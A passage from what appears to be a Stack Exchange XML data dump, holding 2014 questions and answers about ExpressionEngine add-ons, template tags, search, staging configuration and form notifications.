Tags="|relationships|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20556" PostTypeId="2" ParentId="20323" CreationDate="2014-03-21T18:31:10.530" Score="0" Body="&lt;p&gt;Did you check to see if the member_email is required in your custom field groups?&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-03-21T18:31:10.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20557" PostTypeId="1" CreationDate="2014-03-21T18:35:39.527" Score="0" ViewCount="48" Body="&lt;p&gt;I am running into a problem with Solspace's Importer module. I haven't used it for a while and now that I went to load it up, I get the following error message just going to the module page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'DateTimeZone::__construct() [&amp;lt;a href='datetimezone.--construct'&amp;gt;datetimezone.--construct&amp;lt;/a&amp;gt;]: Unknown or bad timezone ()' in /XXX/expressionengine/third_party/importer/addon_builder/addon_builder.php:4097 Stack trace: #0 /XXX/expressionengine/third_party/importer/addon_builder/addon_builder.php(4097): DateTimeZone-&amp;gt;__construct('') #1 /XXX/expressionengine/third_party/importer/act.importer.php(65): Addon_builder_importer-&amp;gt;timezone_offset() #2 /XXX/expressionengine/third_party/importer/addon_builder/addon_builder.php(702): Importer_actions-&amp;gt;__construct() #3 /XXX/expressionengine/third_party/importer/mcp.importer.php(139): Addon_builder_importer-&amp;gt;actions() #4 /ho in /XXX/expressionengine/third_party/importer/addon_builder/addon_builder.php on line 4097&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't made any changes to the installation since I last used it, though I can't swear to whether the host has changed anything about php since then.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-03-21T18:35:39.527" Title="Error on module page for Solspace's Importer" Tags="|solspace|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20558" PostTypeId="1" CreationDate="2014-03-21T18:56:34.377" Score="0" ViewCount="159" Body="&lt;p&gt;Using the search_results tags to display results I added a parameter like  when displaying channel entries, status=&quot;Open&quot; to specifically show only &quot;Open&quot; entries, but it still shows Closed entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance on this would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2014-05-20T19:52:34.877" Title="Closed entries show in search results" Tags="|ee2|channel-entries|search|entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20559" PostTypeId="2" ParentId="20558" CreationDate="2014-03-21T19:10:08.773" Score="1" Body="&lt;p&gt;I would try making the Open uncapped to status=&quot;open&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe not the fix, but I have had weird issues around that. &lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2014-03-21T19:10:08.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20560" PostTypeId="2" ParentId="20521" CreationDate="2014-03-21T19:18:14.537" Score="0" Body="&lt;p&gt;I had this issue too. Can't tell you what I did, but mine works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my JS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codepen.io/anon/pen/GFhDC/&quot; rel=&quot;nofollow&quot;&gt;http://codepen.io/anon/pen/GFhDC/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2014-03-21T19:18:14.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20561" PostTypeId="2" ParentId="20548" CreationDate="2014-03-21T20:31:42.907" Score="2" Body="&lt;p&gt;I was running into a similar error earlier, and the culprit was the template and/or tag caching on the page where the search form was rendered. Might be the source of the problem here as well; if you have any of the EE-based caching options enabled, try disabling them and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-21T20:31:42.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20563" PostTypeId="1" AcceptedAnswerId="20724" CreationDate="2014-03-22T09:41:53.690" Score="1" ViewCount="92" Body="&lt;p&gt;I need to allow users to upload their own files during a checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Freform Pro should be fine but I don't know how to integrate it inside the checkout page. Should be nice to associate this file as custom order field for Expresso Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my goal is to handle the upload process in ajax and render the uploaded image file in the same page..&#xA;the scenario should be something similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User chose the t-shirt model and size &gt; add to cart &gt; upload own image &gt; preview the image stamp on the t-shirt &gt; purchase it!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;someone have any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-03-27T15:30:04.343" Title="Expresso Store and Drag and drop upload form during checkout" Tags="|expresso-store|solspace-freeform|file-uploads|custom-fields|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20564" PostTypeId="1" CreationDate="2014-03-22T10:10:55.417" Score="0" ViewCount="47" Body="&lt;p&gt;I 'm using Discussion Forum having millions of posts due to which search in forum in much slow. Could anyone please share a way to optimize the forum search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-03-26T13:51:40.670" Title="Slow search in Discussion Forum" Tags="|search|forum|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20565" PostTypeId="1" CreationDate="2014-03-22T12:25:59.790" Score="0" ViewCount="144" Body="&lt;p&gt;Just wondering if there is a way to redirect vistors from a URL that contains member ids to a url that contains the username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally had member pages set up like so... &lt;code&gt;members/profile/{member_id}/&lt;/code&gt; for a range of profile pages. I have since changed this to &lt;code&gt;members/profile/{username}/&lt;/code&gt; and I was wondering if there is a way to redirect a visors to the new URL if they were to attempt to visit a url with a member id still in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 != username}&#xA;  {redirect=&quot;members/profile/{username}/&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == member_id}&#xA;  {redirect=&quot;members/profile/{username}/&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but neither has an effect. (The 'profile' pages are running within Switchee, so I'm not sure if thats having an effect at all?)&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2014-08-22T17:07:12.990" Title="Redirect from URL containing member_id to username" Tags="|members|redirects|username|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20566" PostTypeId="1" AcceptedAnswerId="20567" CreationDate="2014-03-22T12:56:34.480" Score="0" ViewCount="120" Body="&lt;p&gt;I'm 100% this is user error on my part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the focuslab master config set up to run locally, staging and live. The site works correctly on live and locally but staging I keep getting a database error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to connect to your database server using the provided settings.&#xA;&#xA;Filename: core/EE_Config.php&#xA;&#xA;Line Number: 207&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After looking at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18520/master-config-blank-screen#comment23442_18520&quot;&gt;this thread&lt;/a&gt; I added &lt;code&gt;exit('here');&lt;/code&gt; to config.stage.php but nothing happened. I've tested the database credentials in &lt;a href=&quot;http://pastie.org/8958910&quot; rel=&quot;nofollow noreferrer&quot;&gt;another script&lt;/a&gt; and the connections are working there. Am quite lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my config.env.php file has the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch (strtolower($_SERVER['HTTP_HOST'])) {&#xA;    case 'domain.ca' :&#xA;        define('ENV', 'prod');&#xA;        define('ENV_FULL', 'Production');&#xA;        define('ENV_DEBUG', FALSE);&#xA;    break;&#xA;&#xA;    case 'domaindev.com' :&#xA;        define('ENV', 'stage');&#xA;        define('ENV_FULL', 'Staging');&#xA;        define('ENV_DEBUG', FALSE);&#xA;    break;&#xA;&#xA;    case 'localdomain.dev' :&#xA;        define('ENV', 'local');&#xA;        define('ENV_FULL', 'Local');&#xA;        define('ENV_DEBUG', TRUE);&#xA;    break;&#xA;&#xA;    default :&#xA;        define('ENV', 'local');&#xA;        define('ENV_FULL', 'Local');&#xA;        define('ENV_DEBUG', TRUE);&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The live site is at domain.com and staging is at subdomain.mysite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the working site locally and on live (just deployed the master branch to live and to staging), but getting the database error on staging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-03-22T17:19:58.730" Title="Focuslab Master Config staging server not working" Tags="|focus-lab-master-config|deployment|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20567" PostTypeId="2" ParentId="20566" CreationDate="2014-03-22T14:04:25.353" Score="2" Body="&lt;p&gt;I may just misunderstand your post but you have changed 'domaindev.com' to 'staging.mysite.com' haven't you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try putting the staging db connection info in for the default/local environment (on your staging server) to see if it's just falling through to the default. Which would imply the domain isn't properly set.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-22T14:04:25.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20568" PostTypeId="1" AcceptedAnswerId="20569" CreationDate="2014-03-22T15:43:48.847" Score="1" ViewCount="130" Body="&lt;p&gt;I'm building a new site that will contain alot of news items and archived pdf publications. I'm wondering if anyone with experience using Solspace Super Search, Low Search, and Google Search would be willing to share their thoughts on the pros/cons and differences between these three options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I would like a search engine that is a little more robust than the native EE option and Super Search and Low seem like they will do the trick. However, one question I have about using Google Search is the time it takes for Google to index the pages on my site. I'm assuming it may not be immediate. This would be important because the site will be new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2014-03-22T22:19:41.977" Title="Trying to choose a search engine" Tags="|search|low-search|supersearch|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20569" PostTypeId="2" ParentId="20568" CreationDate="2014-03-22T16:47:33.743" Score="4" Body="&lt;p&gt;I'm not sure any of the options you mentioned other than Google will actually index the content of PDFs. You may have to create an entry for each one with the text content. Maybe there's an add-on that will grab the text out for you (I know it's possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Low Search and Super Search. Both are excellent but I'd probably go with Low.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-22T16:47:33.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20571" PostTypeId="2" ParentId="20566" CreationDate="2014-03-22T17:19:58.730" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Make sure the staging domain is correct in config.env.php&lt;/li&gt;&#xA;&lt;li&gt;Make sure the staging config is in fact loaded (put a die(&quot;hello); at the top of your config.staging.php)&lt;/li&gt;&#xA;&lt;li&gt;Verify that your site says &quot;hello&quot; on staging, which means it is actually loading the staging config.&lt;/li&gt;&#xA;&lt;li&gt;Edit both index.php and admin.php and set $debug=1; in both.&lt;/li&gt;&#xA;&lt;li&gt;Remove the die() you put in config.staging.php in step 2)&lt;/li&gt;&#xA;&lt;li&gt;Load the website again, you should now get a PHP error (most likely in your config.staging.php file)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Fix the PHP error and you should be good to go :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(oh and you might want to set $debug=0; again in index/admin.php once everything is working)&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-03-22T17:19:58.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20572" PostTypeId="2" ParentId="17784" CreationDate="2014-03-22T17:25:10.113" Score="1" Body="&lt;p&gt;there is an easier way to do this with SEO Lite, check out this gist which has an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/bjornbjorn/4039233&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/bjornbjorn/4039233&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-03-22T17:25:10.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20573" PostTypeId="1" CreationDate="2014-03-22T19:27:51.173" Score="1" ViewCount="295" Body="&lt;p&gt;First I am not a programmer so much may go over my head that you say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been working on trying to come up with a solution to this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have an external site's form(Site B) post to my site(Site A) to a specific Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use an API of some sort that can post via REST/Javascript or CURL and do a postback if the insert was successful.  Does anyone know of an add-on that can do all this?  I know this exists in Wordpress but I am trying my best to hold onto EE, this is for a personal site of mine.  Really could use someones help, please and I will return the favor.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2014-04-22T19:48:20.050" Title="EE External Site API" Tags="|open-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20574" PostTypeId="2" ParentId="20547" CreationDate="2014-03-22T20:25:17.120" Score="3" Body="&lt;p&gt;You could save a bit of processing by using a simple conditional instead of an advanced conditional. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Show something different when the cart is empty&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA; {if no_items}&#xA;   Your cart is empty!&#xA;   {!-- this only shows when the cart is empty --}&#xA; {/if}&#xA;  {order_qty} ITEM{if {order_qty} &amp;gt; 1}S{/if} IN BAG&#xA;  {!-- this will only show if there is actually something in the cart --}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-03-24T16:48:27.983" LastActivityDate="2014-03-24T16:48:27.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20575" PostTypeId="2" ParentId="20568" CreationDate="2014-03-22T22:19:41.977" Score="4" Body="&lt;p&gt;I'm using Low Search, it's really more powerful than the native EE search, very well documented, nice user interface. You can parameter the weight of each field, categories of the each collection of search. Easy to integrate in a project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can parameter complex search. And the Low support is very good and efficient.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-03-22T22:19:41.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20576" PostTypeId="1" CreationDate="2014-03-23T06:42:22.793" Score="2" ViewCount="311" Body="&lt;p&gt;I'm using Freeform 4.1.4 (the free version) w/ EE 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form with a first name field ({name_first}), a last name field ({name_last}), and an email field ({email}) field, all of which are required. When I created the form's notification, I configured the &quot;From Name&quot; field to use &quot;{name_first} {name_last}&quot; and &quot;From Email&quot; to use &quot;{email}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, this has always worked: the email notifications used the user-submitted values for the sender info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on this site, the email notifications arrive &lt;em&gt;but&lt;/em&gt; they come from &quot;unknown sender&quot; (according to Gmail). Everything else about the notifications is fine -- e.g., the message comes through intact -- but the sender info is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a whim, I tried hardcoding the notification's &quot;From Name&quot; and &quot;From Email&quot; fields so they weren't using user-submitted values, but that didn't fix anything. And I've checked the EE installation's email settings, which are the defaults (AFAIK). Nothing seems out of the ordinary there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Did something change in notifications with the new version of Freeform?&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2014-04-25T18:34:15.523" Title="Solspace Freeform email notifications coming from &quot;unknown sender&quot;" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20577" PostTypeId="1" CreationDate="2014-03-23T10:29:12.453" Score="1" ViewCount="113" Body="&lt;p&gt;I have a member group called Admin and it's not seeing the menu options of Update Indexes, External Sources or Settings.&#xA;Admin screenshot at the top, SuperAdmin below&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dfbqn.png&quot; alt=&quot;Admin login&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4Zs7P.png&quot; alt=&quot;SuperAdmin login&quot;&gt;&#xA;They have access to the Add-Ons, Modules section, and Assets, what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-03-24T08:06:37.460" Title="No Update indexes option in Assets" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20579" PostTypeId="2" ParentId="20573" CreationDate="2014-03-23T19:40:50.853" Score="1" Body="&lt;p&gt;The Import module from Solspace works well for getting data INTO your site from another service or API. If you want to provide an API interface for OTHER sites to post data into your site then you might look at &quot;Entry API&quot; (&lt;a href=&quot;http://devot-ee.com/add-ons/entry-api&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-api&lt;/a&gt;). I've not tried the &quot;Entry API&quot; myself but came across it so I can't provide any info on how well it works.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-03-23T19:40:50.853" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20583" PostTypeId="2" ParentId="20551" CreationDate="2014-03-24T00:51:32.643" Score="0" Body="&lt;p&gt;Looks like you've got a bit going on there. It's a parse order issue, the way EE parses content takes some time to get your head around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First up, your testing results for up to 50 items, so using a simple stash:set will only ever list the last result.You'll need to use the stash:set_list instead. I'd avoid using the embed where you can as in this situation with the code it will bog the system down as it will embed 50 times (if 50 results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure of this code, but hopefully will help you on your journey :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set a stash_list of results, parse_depth is 3 to drill down through the various tags/modules --}&#xA;{exp:stash:set_list name=&quot;results&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; trim=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;&#xA;    {exp:search_fields search:chapter_keywords='{embed:search}' search:chapter_text='{embed:search}' operator=&quot;OR&quot; channel=&quot;chapter&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {exp:channel:entries entry_id=&quot;{search_results}&quot; orderby=&quot;chapter_name&quot; sort=&quot;asc&quot; limit=&quot;50&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;            {!-- Capture the entry id to a stash and use in get_list below --}&#xA;            {stash:entryid}{entry_id}{/stash:entryid} &#xA;            {!-- Set stash to wrap the results, which ever tests true will be recorded (if both are true, image will overwrite video --} &#xA;            {stash:chapterType}&#xA;                {chapter_videos limit=&quot;1&quot;}  &#xA;                    {if chapter_videos:count &amp;gt; 0}video{/if}&#xA;                {/chapter_videos}   &#xA;&#xA;                {chapter_images limit=&quot;1&quot;}&#xA;                    {if chapter_images:count &amp;gt; 0}image{/if}&#xA;                {/chapter_images}&#xA;            {/stash:chapterType} &#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/exp:search_fields}&#xA;&#xA;{/exp:stash:set}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;results&quot;}&#xA;{!-- Pass the stash list to the embed below (avoid embed if possible) --}&#xA;{embed=&quot;_chapters/index&quot; entryId=&quot;{stash:entryid}&quot; chapterType=&quot;{stash:chapterType}&quot;}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-24T00:51:32.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20584" PostTypeId="2" ParentId="10604" CreationDate="2014-03-24T02:12:55.927" Score="1" Body="&lt;p&gt;I was getting this problem on a local development machine and realised that I needed to update the value of &lt;code&gt;cp_url&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_url'] = &quot;http://MY-LOCAL-MACHINE/system/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE appears to use this URL to determine the cookie domain, and so cookies were being set to the wrong domain.&lt;/p&gt;&#xA;" OwnerUserId="2881" LastActivityDate="2014-03-24T02:12:55.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20586" PostTypeId="2" ParentId="20550" CreationDate="2014-03-24T05:04:37.593" Score="2" Body="&lt;p&gt;It would be good to see the template code you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst the Addon may appear to be working for you on the site, it is highly likely that it is incompatible with that version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read upwards of the improvements and in particular to File upload, authorisation methods and Safecracker changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-5-5&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-5-5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The updates made for Zoo Visitor accomodate some serious changes, in particular the past few major point releases of EE. These notes explain the updates but are not dated for release:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-zoo.com/docs/visitor/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/release_notes.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you try an earlier version of Zoo Visitor and see if the issue is replicated. You may need to call out on Twitter for assistance in getting an outdated version as there is no repository available publicly.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2014-03-24T05:04:37.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20588" PostTypeId="2" ParentId="20577" CreationDate="2014-03-24T08:06:37.460" Score="2" Body="&lt;p&gt;Paul, that's available only to superadmins at the moment (Assets 2.2.4), due to security concerns of exposing 3rd party API keys. You can re-index the current folder in Assets by clicking the circular arrow on the top right corner, however that won't index any new folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add a config setting to the next version of Assets for this. Meanwhile, if you need a custom fix, hit us up (support@pixelandtonic.com) and we'll see what we can do.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-03-24T08:06:37.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20589" PostTypeId="2" ParentId="20450" CreationDate="2014-03-24T11:08:06.477" Score="0" Body="&lt;p&gt;This was solved by a software update from the addon vendor.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-03-24T11:08:06.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20590" PostTypeId="1" CreationDate="2014-03-24T11:59:24.570" Score="1" ViewCount="131" Body="&lt;p&gt;ExpressionEngine includes a feature that allows  to automatically split a single channel entry/article across multiple pages. how can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hi  this is my code  : here am using one field for pull out the entire news that is &#xA;{news text} ;i hav only one field .. for entire news... is this correct or required another  fields..summery  ,body ,extended  etc          &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category_group=&quot;32&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; paginate_type=&quot;field&quot; paginate=&quot;bottom&quot; }&#xA;&#xA;    &amp;lt;div class=&quot;anw-readmorenewstitle&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;anw-readmorenewswriter&quot;&amp;gt; {news_writer}&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;anw-readmorenewsimage&quot;&amp;gt;&amp;lt;img class=&quot;addthis_shareable&quot; src=&quot;{news_image_1:anw-readsection}&quot;  addthis:title=&quot;{title}&quot; border=&quot;0&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;anw-readmorenewsimagecaption&quot;&amp;gt;{news_image_1_caption}&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;anw-readmorenewstext&quot;&amp;gt;{news_text}&#xA;&#xA;    {multi_field=&quot;page1|page2| page3&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;    Last updated on {edit_date format='%M %d, %Y'} at&#xA;    {edit_date format='%h:%i %A'}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {paginate}&#xA;    &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages for this article&#xA;    {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;&#xA;&#xA;    {comments}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is one of my detailed news page .. a long articles.. I want to split this content into different pages..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;pagination_base&quot; this tag is required or not ?&lt;/p&gt;&#xA;" OwnerUserId="2885" LastEditorUserId="55" LastEditDate="2014-03-27T01:58:27.160" LastActivityDate="2014-03-28T12:36:53.770" Title="How can we Spanning a Channel Entry Across Multiple Pages using pagination.?" Tags="|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20591" PostTypeId="2" ParentId="20551" CreationDate="2014-03-24T12:02:24.647" Score="0" Body="&lt;p&gt;That seems to do the job! Thanks. Few notes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No need to use {stash: within the {exp:stash:get_list&lt;/li&gt;&#xA;&lt;li&gt;{exp:stash:set_list needs to be closed with {/exp:stash:set} not just {/exp:stash:set}&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With this corrections your code works perfectly.&lt;/p&gt;&#xA;" OwnerUserId="2878" LastActivityDate="2014-03-24T12:02:24.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20592" PostTypeId="1" AcceptedAnswerId="20594" CreationDate="2014-03-24T12:49:53.353" Score="2" ViewCount="1176" Body="&lt;p&gt;I have a Grid field (called 'beneficiaries') that I'm using to hold a list of first names and last names of beneficiaries, but I'm struggling to get a template to output the total number of rows my Grid field's currently holding. I'm able to output the entire field with the currently submitted data, using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;beneficiary&quot; return=&quot;/next_page&quot; entry_id=&quot;8&quot;}&#xA;    {beneficiaries}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I just want to print to the screen the total number of rows, much like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;beneficiary&quot; return=&quot;/next_page&quot; entry_id=&quot;8&quot;}&#xA;    Total: {beneficiaries:total_rows}&amp;lt;br /&amp;gt;&#xA;    Total: {beneficiaries:field_total_rows}&amp;lt;br /&amp;gt;&#xA;    Total: {field:beneficiaries:total_rows}&amp;lt;br /&amp;gt;&#xA;    Total: {field:beneficiaries:field_total_rows}&amp;lt;br /&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which only returns the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total: {beneficiaries:total_rows}&#xA;Total: {beneficiaries:field_total_rows}&#xA;Total:&#xA;Total:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something painfully obviously wrong? I've read and re-read &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt; to no avail, and I have no idea what I could be doing wrong. Any help as to why I can't seem to display the row count would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2432" LastActivityDate="2014-03-24T13:36:14.460" Title="Why can't I get the total row count for my grid field?" Tags="|ee2|grid|2.8|" AnswerCount="1" CommentCount="0" 